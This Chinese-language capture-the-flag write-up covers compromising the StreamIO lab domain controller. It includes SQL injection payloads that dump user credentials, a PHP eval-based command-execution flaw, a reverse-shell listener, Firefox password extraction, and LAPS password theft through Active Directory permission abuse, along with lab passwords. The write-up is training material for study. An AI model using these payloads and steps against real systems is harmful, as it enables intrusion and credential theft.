域渗透实战之StreamIO
2023-11-30 21:30:36 Author: xz.aliyun.com(查看原文) 阅读量:10 收藏

端口扫描

nmap扫描到 19 个开放的 TCP 端口。

接着继续使用nmap的-s、-C、-V等参数进行版本等进行扫描

服务(DNS 53、Kerberos 88、LDAP 389 和其他、SMB 445、RPC 135、Netbios 139 等)的组合表明这是一个域控制器。而443 上的 TLS 证书上还有两个 DNS 名称,streamIO.htb和watch.streamIO.htb.

子域名枚举

使用wfuzz对子域名进行枚举

SMB爆破

接着使用crackmapexec进行爆破smb。

主机信息收集

访问80端口,发现winserver服务。

访问https下的url地址。

进行关键信息收集。

有一个联系页面,当我提交一些东西时,它说要在电子邮件中寻找回复:

然后进行注册,但是不能进行登录。

注册新用户,尝试进行登录。

注册之后,不能成功进行登录。

目录爆破

接着使用feroxbuster 对php文件格式进行爆破。

和之前的一样,存在登录和注册模块。

子域名枚举出来了一个watch.streamio.htb。
该网站有一个常见问题解答和一个订阅表格:

通过该表单添加xx报告它是可以成功的:

但是执行一些恶意的payload,会触发waf。

SQL注入

在search.php显示带有“观看”按钮的数百部电影的列表:
单击“观看”只是表示该功能不可用:

在搜索栏中输入内容会过滤结果。例如,输入“test”会返回:

接着进行测试。发现有waf对关键字进行拦截。

手工注入绕过waf

如果我只是将 a 传递给'查询,它不会返回任何结果。实际上,从开发端捕获 SQL 中的错误并在服务器端进行管理是一种很好的做法。这并不意味着它不容易受到 SQL 注入的影响。
我会注意到,当我输入“test”时,它会返回“The Greatest Showman”。这意味着数据库查询类似于:
selectfrom movies where title like '%[input]%';
如果这是可注入的,那么我可以尝试一些不会崩溃但仍可能返回结果的方法。例如,如果我尝试“man”;--“会怎样。如果这是可注射的,那将导致:
select
from movies where title like '%man';-- -%';
联合查询
abcd' union select 1,2,3,4,5,6;-- -:

u' union select 1,@@version,3,4,5,6 -- //查询版本

u' union select 1,table_name,3,4,5,6 from information_schema.tables -- //查询表

u' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name= 'users' -- //查询表单的列。

u' union select 1,username,3,4,5,6 from users -- //查询用户

u' union select 1,password,3,4,5,6 from users -- //查询密码

u' union select 1,concat(username,':',password),3,4,5,6 from users -- //查询用户和密码

使用curl命令将用户名和密码保存。

hashcat解密

SMB爆破

使用该--no-bruteforce选项,它将为每个用户匹配相应的密码(而不是像默认行为那样尝试全部尝试)。

使用hydra和https-post-form插件来寻找有效用户。

找到了用户 yoshihide,然后 使用密码“66boysandgirls..”登录。

成功进入后台之后,发现在/admin用户下存在4个功能点。

参数枚举

接着对admin?xxx=参数进行枚举
wfuzz -u https://streamio.htb/admin/?FUZZ=-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H"Cookie: PHPSESSID=gpp07f35aviqcd3ak2544hne08"--hh 1678

命令执行

发现存在/debug目录。
在/admin/master.php之前的内容,尝试master.php加载包含电影、用户和员工的页面!

获取master源码

使用 PHP 过滤器来获取源master.php代码https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php:

源码分析

<h1>Movie managment</h1>
<?php
if(!defined('included'))
    die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
    <div class="form-control" style="height: 3rem;">
        <h4 style="float:left;"><?php echo $row['movie']; ?></h4>
        <div style="float:right;padding-right: 25px;">
            <form method="POST" action="?movie=">
                <input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
            </form>
        </div>
    </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
    die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
    <div class="form-control" style="height: 3rem;">
        <h4 style="float:left;"><?php echo $row['username']; ?></h4>
        <div style="float:right;padding-right: 25px;">
            <form method="POST">
                <input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
            </form>
        </div>
    </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
    die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
    <div class="form-control" style="height: 3rem;">
        <h4 style="float:left;"><?php echo $row['username']; ?></h4>
        <div style="float:right;padding-right: 25px;">
            <form method="POST">
                <input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
            </form>
        </div>
    </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>

源码解密

echo "PGgxPk1vdmllIG1hbmFnbWVudDwvaDE+DQo8P3BocA0KaWYoIWRlZmluZWQoJ2luY2x1ZGVkJykpDQoJZGllKCJPbmx5IGFjY2Vzc2FibGUgdGhyb3VnaCBpbmNsdWRlcyIpOw0KaWYoaXNzZXQoJF9QT1NUWydtb3ZpZV9pZCddKSkNCnsNCiRxdWVyeSA9ICJkZWxldGUgZnJvbSBtb3ZpZXMgd2hlcmUgaWQgPSAiLiRfUE9TVFsnbW92aWVfaWQnXTsNCiRyZXMgPSBzcWxzcnZfcXVlcnkoJGhhbmRsZSwgJHF1ZXJ5LCBhcnJheSgpLCBhcnJheSgiU2Nyb2xsYWJsZSI9PiJidWZmZXJlZCIpKTsNCn0NCiRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tIG1vdmllcyBvcmRlciBieSBtb3ZpZSI7DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRoYW5kbGUsICRxdWVyeSwgYXJyYXkoKSwgYXJyYXkoIlNjcm9sbGFibGUiPT4iYnVmZmVyZWQiKSk7DQp3aGlsZSgkcm93ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCRyZXMsIFNRTFNSVl9GRVRDSF9BU1NPQykpDQp7DQo/Pg0KDQo8ZGl2Pg0KCTxkaXYgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9ImhlaWdodDogM3JlbTsiPg0KCQk8aDQgc3R5bGU9ImZsb2F0OmxlZnQ7Ij48P3BocCBlY2hvICRyb3dbJ21vdmllJ107ID8+PC9oND4NCgkJPGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7cGFkZGluZy1yaWdodDogMjVweDsiPg0KCQkJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9tb3ZpZT0iPg0KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1vdmllX2lkIiB2YWx1ZT0iPD9waHAgZWNobyAkcm93WydpZCddOyA/PiI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXByaW1hcnkiIHZhbHVlPSJEZWxldGUiPg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2Pg0KPD9waHANCn0gIyB3aGlsZSBlbmQNCj8+DQo8YnI+PGhyPjxicj4NCjxoMT5TdGFmZiBtYW5hZ21lbnQ8L2gxPg0KPD9waHANCmlmKCFkZWZpbmVkKCdpbmNsdWRlZCcpKQ0KCWRpZSgiT25seSBhY2Nlc3NhYmxlIHRocm91Z2ggaW5jbHVkZXMiKTsNCiRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tIHVzZXJzIHdoZXJlIGlzX3N0YWZmID0gMSAiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0KaWYoaXNzZXQoJF9QT1NUWydzdGFmZl9pZCddKSkNCnsNCj8+DQo8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4gTWVzc2FnZSBzZW50IHRvIGFkbWluaXN0cmF0b3I8L2Rpdj4NCjw/cGhwDQp9DQokcXVlcnkgPSAic2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpc19zdGFmZiA9IDEiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0Kd2hpbGUoJHJvdyA9IHNxbHNydl9mZXRjaF9hcnJheSgkcmVzLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKQ0Kew0KPz4NCg0KPGRpdj4NCgk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJoZWlnaHQ6IDNyZW07Ij4NCgkJPGg0IHN0eWxlPSJmbG9hdDpsZWZ0OyI+PD9waHAgZWNobyAkcm93Wyd1c2VybmFtZSddOyA/PjwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0O3BhZGRpbmctcmlnaHQ6IDI1cHg7Ij4NCgkJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3RhZmZfaWQiIHZhbHVlPSI8P3BocCBlY2hvICRyb3dbJ2lkJ107ID8+Ij4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tcHJpbWFyeSIgdmFsdWU9IkRlbGV0ZSI+DQoJCQk8L2Zvcm0+DQoJCTwvZGl2Pg0KCTwvZGl2Pg0KPC9kaXY+DQo8P3BocA0KfSAjIHdoaWxlIGVuZA0KPz4NCjxicj48aHI+PGJyPg0KPGgxPlVzZXIgbWFuYWdtZW50PC9oMT4NCjw/cGhwDQppZighZGVmaW5lZCgnaW5jbHVkZWQnKSkNCglkaWUoIk9ubHkgYWNjZXNzYWJsZSB0aHJvdWdoIGluY2x1ZGVzIik7DQppZihpc3NldCgkX1BPU1RbJ3VzZXJfaWQnXSkpDQp7DQokcXVlcnkgPSAiZGVsZXRlIGZyb20gdXNlcnMgd2hlcmUgaXNfc3RhZmYgPSAwIGFuZCBpZCA9ICIuJF9QT1NUWyd1c2VyX2lkJ107DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRoYW5kbGUsICRxdWVyeSwgYXJyYXkoKSwgYXJyYXkoIlNjcm9sbGFibGUiPT4iYnVmZmVyZWQiKSk7DQp9DQokcXVlcnkgPSAic2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpc19zdGFmZiA9IDAiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0Kd2hpbGUoJHJvdyA9IHNxbHNydl9mZXRjaF9hcnJheSgkcmVzLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKQ0Kew0KPz4NCg0KPGRpdj4NCgk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJoZWlnaHQ6IDNyZW07Ij4NCgkJPGg0IHN0eWxlPSJmbG9hdDpsZWZ0OyI+PD9waHAgZWNobyAkcm93Wyd1c2VybmFtZSddOyA/PjwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0O3BhZGRpbmctcmlnaHQ6IDI1cHg7Ij4NCgkJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlcl9pZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHJvd1snaWQnXTsgPz4iPg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1wcmltYXJ5IiB2YWx1ZT0iRGVsZXRlIj4NCgkJCTwvZm9ybT4NCgkJPC9kaXY+DQoJPC9kaXY+DQo8L2Rpdj4NCjw/cGhwDQp9ICMgd2hpbGUgZW5kDQo/Pg0KPGJyPjxocj48YnI+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IG5hbWU9ImluY2x1ZGUiIGhpZGRlbj4NCjwvZm9ybT4NCjw/cGhwDQppZihpc3NldCgkX1BPU1RbJ2luY2x1ZGUnXSkpDQp7DQppZigkX1BPU1RbJ2luY2x1ZGUnXSAhPT0gImluZGV4LnBocCIgKSANCmV2YWwoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydpbmNsdWRlJ10pKTsNCmVsc2UNCmVjaG8oIiAtLS0tIEVSUk9SIC0tLS0gIik7DQp9DQo/Pg==" | base64 -d > master.php

源显示它首先确保它被包含,否则它返回一条消息:
if(!defined('included'))
die("Only accessable through includes");
之后,就像我观察到的那样,它似乎合理地重新创建了各种 DB 对象。
在最底部,有一个带有隐藏字段的 HTML 表单include:

<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>

如果有 POST 参数include,它将使用file_get_contents该文件并将其传递给eval,这基本上是执行。
构造payload
接着使用include进行命令执行。

本地开启http服务,进行文件传输。

反向nc连接

rlwrap -cAr nc -lnvp 443

获取权限

成功getshell。

主机信息收集

接着对文件进行搜索。收集一些有用的东西

在其 中有另一个实例以 db_user 身份连接admin\index.php,但在 中register.php,它以 db_admin 身份连接。

streamio_backup 数据库利用

使用sqlcmd进行连接。
● -S localhost- 要连接的主机
● -U db_admin- 要连接的用户
● -P B1@hx31234567890- 用户密码
● -d streamio_backup- 要使用的数据库
● -Q [query]- 查询运行然后退出

hash爆破

查找这些用户的用途。

接着使用crackmapexec爆破,最后在 nikk37 的密码在系统上是可以使用的:

WinRM连接

使用evil-winrm进行连接。

获取user.txt

接着进入/nik37/Desktop用户目录下,获取到user.txt.

主机信息收集

发现存在火狐浏览器的配置文件。
在nikk37 有一个主目录,带有 Firefox 配置文件:

提取 Firefox 密码

工具:https://github.com/lclevy/firepwd
进入文件路径下,发现2个文件。

SMBerver建立共享,传输文件到本地。

Firepwd提取密码

使用./firepwd.py提取firefox的密码。

用户权限检测

使用crackmapexec进行用户权限检测。

发现JDgodd 没有 WinRM 的权限:

活动目录收集

BloodHound.py 是一个基于 Python 的 BloodHound摄取器,基于Impacket。
此版本的 BloodHound.py仅与 BloodHound 4.2 或更高版本兼容。对于 3.x 范围,通过 pypi 使用 1.1.1 版本。从 1.3 版开始,BloodHound.py 仅支持 Python 3,Python 2 不再经过测试,将来可能会中断。
使用Bloodhound(https://github.com/fox-it/BloodHound.py)进行域内活动目录收集,发现一个zip文件 包含四个文件,其中包含有关域中各种对象的信息:
然后进行分析。

https://github.com/PowerShellMafia/PowerSploit

导入数据

我将打开 Bloodhound 并清除数据库以重新开始(“数据库信息”选项卡底部的按钮)。我将单击右侧菜单中的“上传数据”按钮,并为其提供 zip 文件:

分析

加载数据后,我将搜索并标记拥有我有权访问的三个帐户中的每一个。对于每一个,我都会检查“出站控制权”。yoshihide 和 nikk37 没有,但 JDgodd 显示了一个:

结论
单击“1”表示 JDgodd 拥有所有权,并且WriteOwner在 Core Staff 组中:从核心员工扩展而来,它ReadLAPSPassword在 DC 计算机对象上有:

上传PowerView.ps1
在C:\programdata目录下,上传PowerView.ps1(https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
导入JDgodd 的凭证对象,并将 JDgodd 添加到组中。

提取 LAPS 密码

使用crackmapexec也可以提取 LAPS 密码

运行脚本。

获取 LAPS 密码

使用Get-AdComputer-Filter*-Propertiesms-Mcs-AdmPwd-Credential$cred,获取lAPS密码。

WINRM以管理员用户远程连接

evil-winrm -u administrator -p'8M[&tV4#!j$k05'-i 10.10.11.158

成功连接之后,进入/users/Martin目录下。

获取root.txt

使用type命令查看root.txt

总结
首先进行信息收集,通过端口扫描、子域名枚举发现存在另一个域名,接着使用crackmapexec爆破SMB协议,然后对目录进行爆破。发现注册用户页面和登录页面。接着进行漏洞利用,发现存在一个表单,尝试sql注入、发现存在waf,然后进行手工绕过。绕过wajief之后,hsahcat进行爆破,接着进行smb爆破,然后进行命令执行漏洞。第一次getshell,getshell之后,发现存在Firefox的配置文件,然后下载到本地,进行解密。解密之后进行用户权限检测,然后进行域内信息收集。接着进行权限提升。使用WinRM进行本地登录,登录之后获取root.txt文件。


文章来源: https://xz.aliyun.com/t/13148
如有侵权请联系:admin#unsafe.sh